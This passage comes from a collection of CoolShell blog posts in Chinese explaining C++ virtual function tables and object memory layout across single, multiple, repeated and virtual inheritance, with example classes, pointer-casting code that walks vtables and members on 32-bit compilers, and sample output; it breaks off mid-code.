//Base3::g()</pre>\n<h4>安全性</h4>\n<p>每次写C++的文章，总免不了要批判一下C++。这篇文章也不例外。通过上面的讲述，相信我们对虚函数表有一个比较细致的了解了。水可载舟，亦可覆舟。下面，让我们来看看我们可以用虚函数表来干点什么坏事吧。</p>\n<h5>一、通过父类型的指针访问子类自己的虚函数</h5>\n<p>我们知道，子类没有重载父类的虚函数是一件毫无意义的事情。因为多态也是要基于函数重载的。虽然在上面的图中我们可以看到Base1的虚表中有Derive的虚函数，但我们根本不可能使用下面的语句来调用子类的自有虚函数：</p>\n<pre class=\"EnlighterJSRAW\">Base1 *b1 = new Derive();\nb1-&gt;f1();  //编译出错</pre>\n<p>任何妄图使用父类指针想调用子类中的<strong>未覆盖父类的成员函数</strong>的行为都会被编译器视为非法，所以，这样的程序根本无法编译通过。但在运行时，我们可以通过指针的方式访问虚函数表来达到违反C++语义的行为。（关于这方面的尝试，通过阅读后面附录的代码，相信你可以做到这一点）</p>\n<h5>二、访问non-public的虚函数</h5>\n<p>另外，如果父类的虚函数是private或是protected的，但这些非public的虚函数同样会存在于虚函数表中，所以，我们同样可以使用访问虚函数表的方式来访问这些non-public的虚函数，这是很容易做到的。</p>\n<p>如：</p>\n<pre class=\"EnlighterJSRAW\">class Base {\n    private:\n            virtual void f() { cout &lt;&lt; \"Base::f\" &lt;&lt; endl; }\n\n};\n\nclass Derive : public Base{\n\n};\n\ntypedef void(*Fun)(void);\n\nvoid main() {\n    Derive d;\n    Fun  pFun = (Fun)*((int*)*(int*)(&amp;d)+0);\n    pFun();\n}</pre>\n<h4>结束语</h4>\n<p>C++这门语言是一门Magic的语言，对于程序员来说，我们似乎永远摸不清楚这门语言背着我们在干了什么。需要熟悉这门语言，我们就必需要了解C++里面的那些东西，需要去了解C++中那些危险的东西。不然，这是一种搬起石头砸自己脚的编程语言。</p>\n<h5>附录一：VC中查看虚函数表</h5>\n<p>我们可以在VC的IDE环境中的Debug状态下展开类的实例就可以看到虚函数表了（并不是很完整的）</p>\n<h5>附录 二：例程</h5>\n<p>下面是一个关于多重继承的虚函数表访问的例程：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;iostream&gt;\nusing namespace std;\n\nclass Base1 {\npublic:\n            virtual void f() { cout &lt;&lt; \"Base1::f\" &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; \"Base1::g\" &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; \"Base1::h\" &lt;&lt; endl; }\n\n};\n\nclass Base2 {\npublic:\n            virtual void f() { cout &lt;&lt; \"Base2::f\" &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; \"Base2::g\" &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; \"Base2::h\" &lt;&lt; endl; }\n};\n\nclass Base3 {\npublic:\n            virtual void f() { cout &lt;&lt; \"Base3::f\" &lt;&lt; endl; }\n            virtual void g() { cout &lt;&lt; \"Base3::g\" &lt;&lt; endl; }\n            virtual void h() { cout &lt;&lt; \"Base3::h\" &lt;&lt; endl; }\n};\n\nclass Derive : public Base1, public Base2, public Base3 {\npublic:\n            virtual void f() { cout &lt;&lt; \"Derive::f\" &lt;&lt; endl; }\n            virtual void g1() { cout &lt;&lt; \"Derive::g1\" &lt;&lt; endl; }\n};\n\ntypedef void(*Fun)(void);\n\nint main()\n{\n            Fun pFun = NULL;\n\n            Derive d;\n            int** pVtab = (int**)&amp;d;\n\n            //Base1's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+0);\n            pFun = (Fun)pVtab[0][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+1);\n            pFun = (Fun)pVtab[0][1];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+2);\n            pFun = (Fun)pVtab[0][2];\n            pFun();\n\n            //Derive's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+0)+3);\n            pFun = (Fun)pVtab[0][3];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[0][4];\n            cout&lt;&lt;pFun&lt;&lt;endl;\n\n            //Base2's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+0);\n            pFun = (Fun)pVtab[1][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+1);\n            pFun = (Fun)pVtab[1][1];\n            pFun();\n\n            pFun = (Fun)pVtab[1][2];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[1][3];\n            cout&lt;&lt;pFun&lt;&lt;endl;\n\n            //Base3's vtable\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+0);\n            pFun = (Fun)pVtab[2][0];\n            pFun();\n\n            //pFun = (Fun)*((int*)*(int*)((int*)&amp;d+1)+1);\n            pFun = (Fun)pVtab[2][1];\n            pFun();\n\n            pFun = (Fun)pVtab[2][2];\n            pFun();\n\n            //The tail of the vtable\n            pFun = (Fun)pVtab[2][3];\n            cout&lt;&lt;pFun&lt;&lt;endl;\n\n            return 0;\n}</pre>\n<p><strong>注：本文年代久远，所有的示例都是在32位机上跑的。</strong></p>\n<p>(全文完)<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12165.html\">C++ 虚函数表解析</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2008-10-15 C++ 对象的内存布局.html",
    "content": "<html><body><p>07年12月，我写了一篇《<a href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\" title=\"C++ 虚函数表解析\">C++虚函数表解析</a>》的文章，引起了大家的兴趣。有很多朋友对我的文章留了言，有鼓励我的，有批评我的，还有很多问问题的。我在这里一并对大家的留言表示感谢。这也是我为什么再写一篇续言的原因。因为，在上一篇文章中，我用了的示例都是非常简单的，主要是为了说明一些机理上的问题，也是为了图一些表达上方便和简单。不想，这篇文章成为了打开C++对象模型内存布局的一个引子，引发了大家对C++对象的更深层次的讨论。当然，我之前的文章还有很多方面没有涉及，从我个人感觉下来，在谈论虚函数表里，至少有以下这些内容没有涉及：</p>\n<p style=\"padding-left: 30px;\">1）有成员变量的情况。</p>\n<p style=\"padding-left: 30px;\">2）有重复继承的情况。</p>\n<p style=\"padding-left: 30px;\">3）有虚拟继承的情况。</p>\n<p style=\"padding-left: 30px;\">4）有钻石型虚拟继承的情况。</p>\n<p> 这些都是我本篇文章需要向大家说明的东西。所以，这篇文章将会是《<a href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\">C++虚函数表解析</a>》的一个续篇，也是一篇高级进阶的文章。我希望大家在读这篇文章之前对C++有一定的基础和了解，并能先读我的上一篇文章。因为这篇文章的深度可能会比较深，而且会比较杂乱，我希望你在读本篇文章时不会有大脑思维紊乱导致大脑死机的情况。;-)</p>\n<h4>对象的影响因素</h4>\n<p>简而言之，我们一个类可能会有如下的影响因素：</p>\n<p style=\"padding-left: 30px;\">1）成员变量</p>\n<p style=\"padding-left: 30px;\">2）虚函数（产生虚函数表）</p>\n<p style=\"padding-left: 30px;\">3）单一继承（只继承于一个类）</p>\n<p style=\"padding-left: 30px;\">4）多重继承（继承多个类）</p>\n<p style=\"padding-left: 30px;\">5）重复继承（继承的多个父类中其父类有相同的超类）</p>\n<p style=\"padding-left: 30px;\">6）虚拟继承（使用virtual方式继承，为了保证继承后父类的内存布局只会存在一份）</p>\n<p>上述的东西通常是C++这门语言在语义方面对对象内部的影响因素，当然，还会有编译器的影响（比如优化），还有字节对齐的影响。在这里我们都不讨论，我们只讨论C++语言上的影响。</p>\n<p>本篇文章着重讨论下述几个情况下的C++对象的内存布局情况。</p>\n<p><span id=\"more-12176\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>单一的一般继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">2）<strong>单一的虚拟继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">3）<strong>多重继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">4）<strong>重复多重继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">5）<strong>钻石型的虚拟多重继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p>我们的目标就是，让事情越来越复杂。</p>\n<h4>知识复习</h4>\n<p>我们简单地复习一下，我们可以通过对象的地址来取得虚函数表的地址，如：</p>\n<pre class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nBase b;\n\nFun pFun = NULL;\n\ncout &lt;&lt; \"虚函数表地址：\" &lt;&lt; (int*)(&amp;b) &lt;&lt; endl;\ncout &lt;&lt; \"虚函数表 — 第一个函数地址：\" &lt;&lt; (int*)*(int*)(&amp;b) &lt;&lt; endl;\n\n// Invoke the first virtual function\npFun = (Fun)*((int*)*(int*)(&amp;b));\npFun();</pre>\n<p>我们同样可以用这种方式来取得整个对象实例的内存布局。因为这些东西在内存中都是连续分布的，我们只需要使用适当的地址偏移量，我们就可以获得整个内存对象的布局。</p>\n<p>本篇文章中的例程或内存布局主要使用如下编译器和系统：</p>\n<p style=\"padding-left: 30px;\"><strong>1）Windows XP 和 VC++ 2003</strong><br/>\n<strong> 2）Cygwin 和 G++ 3.4.4</strong></p>\n<h4>单一的一般继承</h4>\n<p>下面，我们假设有如下所示的一个继承关系：</p>\n<p><img alt=\"01\" class=\"aligncenter size-full wp-image-12178\" height=\"366\" src=\"../wp-content/uploads/2014/12/011.jpg\" width=\"177\"/></p>\n<p>请注意，在这个继承关系中，父类，子类，孙子类都有自己的一个成员变量。而了类覆盖了父类的f()方法，孙子类覆盖了子类的g_child()及其超类的f()。</p>\n<p>我们的源程序如下所示：</p>\n<pre class=\"EnlighterJSRAW\">class Parent {\npublic:\n    int iparent;\n    Parent ():iparent (10) {}\n    virtual void f() { cout &lt;&lt; \" Parent::f()\" &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; \" Parent::g()\" &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; \" Parent::h()\" &lt;&lt; endl; }\n\n};\n\nclass Child : public Parent {\npublic:\n    int ichild;\n    Child():ichild(100) {}\n    virtual void f() { cout &lt;&lt; \"Child::f()\" &lt;&lt; endl; }\n    virtual void g_child() { cout &lt;&lt; \"Child::g_child()\" &lt;&lt; endl; }\n    virtual void h_child() { cout &lt;&lt; \"Child::h_child()\" &lt;&lt; endl; }\n};\n\nclass GrandChild : public Child{\npublic:\n    int igrandchild;\n    GrandChild():igrandchild(1000) {}\n    virtual void f() { cout &lt;&lt; \"GrandChild::f()\" &lt;&lt; endl; }\n    virtual void g_child() { cout &lt;&lt; \"GrandChild::g_child()\" &lt;&lt; endl; }\n    virtual void h_grandchild() { cout &lt;&lt; \"GrandChild::h_grandchild()\" &lt;&lt; endl; }\n};</pre>\n<p>我们使用以下程序作为测试程序：（下面程序中，我使用了一个int** pVtab 来作为遍历对象内存布局的指针，这样，我就可以方便地像使用数组一样来遍历所有的成员包括其虚函数表了，在后面的程序中，我也是用这样的方法的，请不必感到奇怪，）</p>\n<pre class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nGrandChild gc;\n\nint** pVtab = (int**)&amp;gc;\n\ncout &lt;&lt; \"[0] GrandChild::_vptr-&gt;\" &lt;&lt; endl;\nfor (int i=0; (Fun)pVtab[0][i]!=NULL; i++){\n    pFun = (Fun)pVtab[0][i];\n    cout &lt;&lt; \"    [\"&lt;&lt;i&lt;&lt;\"] \";\n    pFun();\n}\ncout &lt;&lt; \"[1] Parent.iparent = \" &lt;&lt; (int)pVtab[1] &lt;&lt; endl;\ncout &lt;&lt; \"[2] Child.ichild = \" &lt;&lt; (int)pVtab[2] &lt;&lt; endl;\ncout &lt;&lt; \"[3] GrandChild.igrandchild = \" &lt;&lt; (int)pVtab[3] &lt;&lt; endl;</pre>\n<p>其运行结果如下所示：（在VC++ 2003和G++ 3.4.4下）</p>\n<pre class=\"EnlighterJSRAW\">[0] GrandChild::_vptr-&gt;\n&lt;pre&gt;    [0] GrandChild::f()\n    [1] Parent::g()\n    [2] Parent::h()\n    [3] GrandChild::g_child()\n    [4] Child::h1()\n    [5] GrandChild::h_grandchild()\n[1] Parent.iparent = 10\n[2] Child.ichild = 100\n[3] GrandChild.igrandchild = 1000</pre>\n<p>使用图片表示如下：</p>\n<p><img alt=\"02\" class=\"aligncenter size-full wp-image-12180\" height=\"237\" src=\"../wp-content/uploads/2014/12/021.jpg\" width=\"500\"/></p>\n<p>可见以下几个方面：</p>\n<p style=\"padding-left: 30px;\">1）虚函数表在最前面的位置。</p>\n<p style=\"padding-left: 30px;\">2）成员变量根据其继承和声明顺序依次放在后面。</p>\n<p style=\"padding-left: 30px;\">3）在单一的继承中，被overwrite的虚函数在虚函数表中得到了更新。</p>\n<h4>多重继承</h4>\n<p>下面，再让我们来看看多重继承中的情况，假设有下面这样一个类的继承关系。注意：子类只overwrite了父类的f()函数，而还有一个是自己的函数（我们这样做的目的是为了用g1()作为一个标记来标明子类的虚函数表）。而且每个类中都有一个自己的成员变量：</p>\n<p><img alt=\"03\" class=\"aligncenter size-full wp-image-12181\" height=\"265\" src=\"../wp-content/uploads/2014/12/031.jpg\" width=\"328\"/></p>\n<p>我们的类继承的源代码如下所示：父类的成员初始为10，20，30，子类的为100</p>\n<pre class=\"EnlighterJSRAW\">class Base1 {\npublic:\n    int ibase1;\n    Base1():ibase1(10) {}\n    virtual void f() { cout &lt;&lt; \"Base1::f()\" &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; \"Base1::g()\" &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; \"Base1::h()\" &lt;&lt; endl; }\n\n};\n\nclass Base2 {\npublic:\n    int ibase2;\n    Base2():ibase2(20) {}\n    virtual void f() { cout &lt;&lt; \"Base2::f()\" &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; \"Base2::g()\" &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; \"Base2::h()\" &lt;&lt; endl; }\n};\n\nclass Base3 {\npublic:\n    int ibase3;\n    Base3():ibase3(30) {}\n    virtual void f() { cout &lt;&lt; \"Base3::f()\" &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; \"Base3::g()\" &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; \"Base3::h()\" &lt;&lt; endl; }\n};\n\nclass Derive : public Base1, public Base2, public Base3 {\npublic:\n    int iderive;\n    Derive():iderive(100) {}\n    virtual void f() { cout &lt;&lt; \"Derive::f()\" &lt;&lt; endl; }\n    virtual void g1() { cout &lt;&lt; \"Derive::g1()\" &lt;&lt; endl; }\n};</pre>\n<p>我们通过下面的程序来查看子类实例的内存布局：下面程序中，注意我使用了一个s变量，其中用到了sizof(Base)来找下一个类的偏移量。（因为我声明的是int成员，所以是4个字节，所以没有对齐问题。关于内存的对齐问题，大家可以自行试验，我在这里就不多说了）</p>\n<pre class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nDerive d;\n\nint** pVtab = (int**)&amp;d;\n\ncout &lt;&lt; \"[0] Base1::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; \"     [0] \";\npFun();\n\npFun = (Fun)pVtab[0][1];\ncout &lt;&lt; \"     [1] \";pFun();\n\npFun = (Fun)pVtab[0][2];\ncout &lt;&lt; \"     [2] \";pFun();\n\npFun = (Fun)pVtab[0][3];\ncout &lt;&lt; \"     [3] \"; pFun();\n\npFun = (Fun)pVtab[0][4];\ncout &lt;&lt; \"     [4] \"; cout&lt;&lt;pFun&lt;&lt;endl;\n\ncout &lt;&lt; \"[1] Base1.ibase1 = \" &lt;&lt; (int)pVtab[1] &lt;&lt; endl;\n\nint s = sizeof(Base1)/4;\n\ncout &lt;&lt; \"[\" &lt;&lt; s &lt;&lt; \"] Base2::_vptr-&gt;\"&lt;&lt;endl;\npFun = (Fun)pVtab[s][0];\ncout &lt;&lt; \"     [0] \"; pFun();\n\nFun = (Fun)pVtab[s][1];\ncout &lt;&lt; \"     [1] \"; pFun();\n\npFun = (Fun)pVtab[s][2];\ncout &lt;&lt; \"     [2] \"; pFun();\n\npFun = (Fun)pVtab[s][3];\nout &lt;&lt; \"     [3] \";\ncout&lt;&lt;pFun&lt;&lt;endl;\n\ncout &lt;&lt; \"[\"&lt;&lt; s+1 &lt;&lt;\"] Base2.ibase2 = \" &lt;&lt; (int)pVtab[s+1] &lt;&lt; endl;\n\ns = s + sizeof(Base2)/4;\n\ncout &lt;&lt; \"[\" &lt;&lt; s &lt;&lt; \"] Base3::_vptr-&gt;\"&lt;&lt;endl;\npFun = (Fun)pVtab[s][0];\ncout &lt;&lt; \"     [0] \"; pFun();\n\npFun = (Fun)pVtab[s][1];\ncout &lt;&lt; \"     [1] \"; pFun();\n\npFun = (Fun)pVtab[s][2];\ncout &lt;&lt; \"     [2] \"; pFun();\n\npFun = (Fun)pVtab[s][3];\ncout &lt;&lt; \"     [3] \";\ncout&lt;&lt;pFun&lt;&lt;endl;\n\ns++;\ncout &lt;&lt; \"[\"&lt;&lt; s &lt;&lt;\"] Base3.ibase3 = \" &lt;&lt; (int)pVtab[s] &lt;&lt; endl;\ns++;\ncout &lt;&lt; \"[\"&lt;&lt; s &lt;&lt;\"] Derive.iderive = \" &lt;&lt; (int)pVtab[s] &lt;&lt; endl;</pre>\n<p>其运行结果如下所示：（在VC++ 2003和G++ 3.4.4下）</p>\n<pre class=\"EnlighterJSRAW\">[0] Base1::_vptr-&gt;\n     [0] Derive::f()\n     [1] Base1::g()\n     [2] Base1::h()\n     [3] Driver::g1()\n     [4] 00000000      &lt;== 注意：在GCC下，这里是1\n[1] Base1.ibase1 = 10\n[2] Base2::_vptr-&gt;\n     [0] Derive::f()\n     [1] Base2::g()\n     [2] Base2::h()\n     [3] 00000000      &lt;== 注意：在GCC下，这里是1\n[3] Base2.ibase2 = 20\n[4] Base3::_vptr-&gt;\n     [0] Derive::f()\n     [1] Base3::g()\n     [2] Base3::h()\n     [3] 00000000\n[5] Base3.ibase3 = 30\n[6] Derive.iderive = 100</pre>\n<p>使用图片表示是下面这个样子：</p>\n<p><img alt=\"04\" class=\"aligncenter size-full wp-image-12182\" height=\"287\" src=\"../wp-content/uploads/2014/12/041.jpg\" width=\"500\"/></p>\n<p>我们可以看到：</p>\n<p style=\"padding-left: 30px;\">1）  每个父类都有自己的虚表。</p>\n<p style=\"padding-left: 30px;\">2）  子类的成员函数被放到了第一个父类的表中。</p>\n<p style=\"padding-left: 30px;\">3）  内存布局中，其父类布局依次按声明顺序排列。</p>\n<p style=\"padding-left: 30px;\">4）  每个父类的虚表中的f()函数都被overwrite成了子类的f()。这样做就是为了解决不同的父类类型的指针指向同一个子类实例，而能够调用到实际的函数。</p>\n<h4>重复继承</h4>\n<p>下面我们再来看看，发生重复继承的情况。所谓重复继承，也就是某个基类被间接地重复继承了多次。</p>\n<p>下图是一个继承图，我们重载了父类的f()函数。</p>\n<p><img alt=\"05\" class=\"aligncenter size-full wp-image-12188\" height=\"393\" src=\"../wp-content/uploads/2014/12/051.jpg\" width=\"253\"/></p>\n<p>其类继承的源代码如下所示。其中，每个类都有两个变量，一个是整形（4字节），一个是字符（1字节），而且还有自己的虚函数，自己overwrite父类的虚函数。如子类D中，f()覆盖了超类的函数， f1() 和f2() 覆盖了其父类的虚函数，Df()为自己的虚函数。</p>\n<pre class=\"EnlighterJSRAW\">class B\n{\n    public:\n        int ib;\n        char cb;\n    public:\n        B():ib(0),cb('B') {}\n\n        virtual void f() { cout &lt;&lt; \"B::f()\" &lt;&lt; endl;}\n        virtual void Bf() { cout &lt;&lt; \"B::Bf()\" &lt;&lt; endl;}\n};\nclass B1 :  public B\n{\n    public:\n        int ib1;\n        char cb1;\n    public:\n        B1():ib1(11),cb1('1') {}\n\n        virtual void f() { cout &lt;&lt; \"B1::f()\" &lt;&lt; endl;}\n        virtual void f1() { cout &lt;&lt; \"B1::f1()\" &lt;&lt; endl;}\n        virtual void Bf1() { cout &lt;&lt; \"B1::Bf1()\" &lt;&lt; endl;}\n\n};\nclass B2:  public B\n{\n    public:\n        int ib2;\n        char cb2;\n    public:\n        B2():ib2(12),cb2('2') {}\n\n        virtual void f() { cout &lt;&lt; \"B2::f()\" &lt;&lt; endl;}\n        virtual void f2() { cout &lt;&lt; \"B2::f2()\" &lt;&lt; endl;}\n        virtual void Bf2() { cout &lt;&lt; \"B2::Bf2()\" &lt;&lt; endl;}\n\n};\n\nclass D : public B1, public B2\n{\n    public:\n        int id;\n        char cd;\n    public:\n        D():id(100),cd('D') {}\n\n        virtual void f() { cout &lt;&lt; \"D::f()\" &lt;&lt; endl;}\n        virtual void f1() { cout &lt;&lt; \"D::f1()\" &lt;&lt; endl;}\n        virtual void f2() { cout &lt;&lt; \"D::f2()\" &lt;&lt; endl;}\n        virtual void Df() { cout &lt;&lt; \"D::Df()\" &lt;&lt; endl;}\n\n};</pre>\n<p>我们用来存取子类内存布局的代码如下所示：（在VC++ 2003和G++ 3.4.4下）</p>\n<pre class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\nint** pVtab = NULL;\nFun pFun = NULL;\n\nD d;\npVtab = (int**)&amp;d;\ncout &lt;&lt; \"[0] D::B1::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; \"     [0] \";    pFun();\npFun = (Fun)pVtab[0][1];\ncout &lt;&lt; \"     [1] \";    pFun();\npFun = (Fun)pVtab[0][2];\ncout &lt;&lt; \"     [2] \";    pFun();\npFun = (Fun)pVtab[0][3];\ncout &lt;&lt; \"     [3] \";    pFun();\npFun = (Fun)pVtab[0][4];\ncout &lt;&lt; \"     [4] \";    pFun();\npFun = (Fun)pVtab[0][5];\ncout &lt;&lt; \"     [5] 0x\" &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; \"[1] B::ib = \" &lt;&lt; (int)pVtab[1] &lt;&lt; endl;\ncout &lt;&lt; \"[2] B::cb = \" &lt;&lt; (char)pVtab[2] &lt;&lt; endl;\ncout &lt;&lt; \"[3] B1::ib1 = \" &lt;&lt; (int)pVtab[3] &lt;&lt; endl;\ncout &lt;&lt; \"[4] B1::cb1 = \" &lt;&lt; (char)pVtab[4] &lt;&lt; endl;\n\ncout &lt;&lt; \"[5] D::B2::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[5][0];\ncout &lt;&lt; \"     [0] \";    pFun();\npFun = (Fun)pVtab[5][1];\ncout &lt;&lt; \"     [1] \";    pFun();\npFun = (Fun)pVtab[5][2];\ncout &lt;&lt; \"     [2] \";    pFun();\npFun = (Fun)pVtab[5][3];\ncout &lt;&lt; \"     [3] \";    pFun();\npFun = (Fun)pVtab[5][4];\ncout &lt;&lt; \"     [4] 0x\" &lt;&lt; pFun &lt;&lt; endl;\n\ncout &lt;&lt; \"[6] B::ib = \" &lt;&lt; (int)pVtab[6] &lt;&lt; endl;\ncout &lt;&lt; \"[7] B::cb = \" &lt;&lt; (char)pVtab[7] &lt;&lt; endl;\ncout &lt;&lt; \"[8] B2::ib2 = \" &lt;&lt; (int)pVtab[8] &lt;&lt; endl;\ncout &lt;&lt; \"[9] B2::cb2 = \" &lt;&lt; (char)pVtab[9] &lt;&lt; endl;\n\ncout &lt;&lt; \"[10] D::id = \" &lt;&lt; (int)pVtab[10] &lt;&lt; endl;\ncout &lt;&lt; \"[11] D::cd = \" &lt;&lt; (char)pVtab[11] &lt;&lt; endl;</pre>\n<p>程序运行结果如下：</p>\n<p><img alt=\"06\" class=\"aligncenter size-full wp-image-12187\" height=\"499\" src=\"../wp-content/uploads/2014/12/06.png\" width=\"573\"/></p>\n<p>下面是对于子类实例中的虚函数表的图：</p>\n<p><img alt=\"06\" class=\"aligncenter size-full wp-image-12186\" height=\"305\" src=\"../wp-content/uploads/2014/12/061.jpg\" width=\"400\"/></p>\n<p>我们可以看见，最顶端的父类B其成员变量存在于B1和B2中，并被D给继承下去了。而在D中，其有B1和B2的实例，于是B的成员在D的实例中存在两份，一份是B1继承而来的，另一份是B2继承而来的。所以，如果我们使用以下语句，则会产生二义性编译错误：</p>\n<p>D d;<br/>\nd.ib = 0; //二义性错误<br/>\nd.B1::ib = 1; //正确<br/>\nd.B2::ib = 2; //正确</p>\n<p>注意，上面例程中的最后两条语句存取的是两个变量。虽然我们消除了二义性的编译错误，但B类在D中还是有两个实例，这种继承造成了数据的重复，我们叫这种继承为重复继承。重复的基类数据成员可能并不是我们想要的。所以，C++引入了虚基类的概念。</p>\n<h4>钻石型多重虚拟继承</h4>\n<p>虚拟继承的出现就是为了解决重复继承中多个间接父类的问题的。钻石型的结构是其最经典的结构。也是我们在这里要讨论的结构：</p>\n<p><img alt=\"07\" class=\"aligncenter size-full wp-image-12185\" height=\"404\" src=\"../wp-content/uploads/2014/12/071.jpg\" width=\"253\"/></p>\n<p>上述的“重复继承”只需要把B1和B2继承B的语法中加上virtual 关键，就成了虚拟继承，其继承图如下所示：</p>\n<p>上图和前面的“重复继承”中的类的内部数据和接口都是完全一样的，只是我们采用了虚拟继承：其省略后的源码如下所示：</p>\n<pre class=\"EnlighterJSRAW\">class B {……};\nclass B1 : virtual public B{……};\nclass B2: virtual public B{……};\nclass D : public B1, public B2{ …… };</pre>\n<p>在查看D之前，我们先看一看单一虚拟继承的情况。下面是一段在VC++2003下的测试程序：（因为VC++和GCC的内存而局上有一些细节上的不同，所以这里只给出VC++的程序，GCC下的程序大家可以根据我给出的程序自己仿照着写一个去试一试）：</p>\n<pre class=\"EnlighterJSRAW\">\nint** pVtab = NULL;\nFun pFun = NULL;\n\nB1 bb1;\n\npVtab = (int**)&amp;bb1;\ncout &lt;&lt; \"[0] B1::_vptr-&gt;\" &lt;&lt; endl;\npFun = (Fun)pVtab[0][0];\ncout &lt;&lt; \"     [0] \";\npFun(); //B1::f1();\ncout &lt;&lt; \"     [1] \";\npFun = (Fun)pVtab[0][1];\npFun(); //B1::bf1();\ncout &lt;&lt; \"     [2] \";\ncout &lt;&lt; pVtab[0][2] &lt;&lt; endl;\n\ncout &lt;&lt; \"[1] = 0x\";\ncout &lt;&lt; (int*)*((int*)(&amp;bb1)+1) &lt;&lt;endl; //B1::ib1\ncout &lt;&lt; \"[2] B1::ib1 = \";\ncout &lt;&lt; (int)*((int*)(&amp;bb1)+2) &lt;&lt;endl; //B1::ib1\ncout &lt;&lt; \"[3] B1::cb1 = \";\ncout &lt;&lt; (char)*((int*)(&amp;bb1)+3) &lt;&lt; endl; //B1::cb1\n\ncout &lt;&lt; \"[4] = 0x\";\ncout &lt;&lt; 